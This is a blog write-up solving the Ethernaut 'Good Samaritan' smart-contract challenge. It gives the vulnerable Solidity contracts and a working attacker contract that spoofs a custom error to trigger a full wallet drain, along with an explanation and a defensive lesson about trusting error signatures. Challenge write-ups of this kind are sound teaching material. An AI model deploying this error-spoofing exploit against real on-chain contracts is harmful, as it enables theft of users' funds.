- Published on
Ethernaut - Good Samaritan - Solution
- Authors
- Name
- Marco Besier, Ph.D.
- @marcobesier
Ethernaut - Good Samaritan - Solution
Contract
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "openzeppelin-contracts-08/utils/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns (bool enoughBalance) {
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10 ** 6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if (dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if (msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}
Solution
The goal of this challenge is to drain the Wallet
.
To do so, we can use the following attacker contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGoodSamaritan {
function requestDonation() external returns (bool);
}
contract GoodSamaritanAttacker {
IGoodSamaritan public immutable VICTIM;
error NotEnoughBalance();
constructor(address victim) {
VICTIM = IGoodSamaritan(victim);
}
function attack() external {
VICTIM.requestDonation();
}
function notify(uint256 amount) external pure {
if (amount == 10) {
revert NotEnoughBalance();
}
}
}
Let's look at the different stages of the attack()
function call to understand what's happening:
attack()
will callrequestDonation()
to trigger a transfer of 10 tokens to our attacker contract.- The
Coin
'stransfer()
function will then call our attacker'snotify()
function and since theamount
will be 10, it'll revert. - This revert is bubbled up through the call chain until it is caught by the
catch
in the try-catch block ofGoodSamaritan
'srequestDonation()
function. - Since the custom error we used to revert has the same signature as the original
NotEnoughBalance()
error, thetransferRemainder()
function will be called next, transferring the wallet's entire balance to our attacker.
Notice that the if (amount == 10)
statement in our notify()
function is crucial for transferRemainder()
to not revert.
As we can see from this challenge, it is not safe to assume that an error was thrown by the immediate target of the contract call. Any other contract further down in the call chain can declare the same error and throw it at an unexpected location.